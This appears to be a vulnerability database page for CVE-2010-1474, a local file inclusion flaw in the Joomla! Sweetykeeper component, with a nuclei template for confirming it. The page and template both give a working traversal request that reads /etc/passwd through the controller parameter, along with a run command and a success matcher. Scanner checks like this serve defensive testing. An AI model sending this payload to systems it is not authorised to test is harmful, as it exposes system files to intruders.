Joomla! Component Sweetykeeper 1.5 - Local File Inclusion

mediumseverity

6.8CVSS score

9.5%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Sweety Keeper (com_sweetykeeper) component 1.5.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.

Fix

Update to the latest version of Joomla! Component Sweetykeeper or apply the necessary patches to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_sweetykeeper&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1474 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1474

info:
  name: Joomla! Component Sweetykeeper 1.5 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Sweety Keeper (com_sweetykeeper) component 1.5.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: |
    Update to the latest version of Joomla! Component Sweetykeeper or apply the necessary patches to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12182
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1474
    - http://www.exploit-db.com/exploits/12182
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57662
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1474
    cwe-id: CWE-22
    epss-score: 0.09471
    epss-percentile: 0.95473
    cpe: cpe:2.3:a:supachai_teasakul:com_sweetykeeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: supachai_teasakul
    product: com_sweetykeeper
  tags: cve2010,cve,joomla,lfi,edb,supachai_teasakul,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_sweetykeeper&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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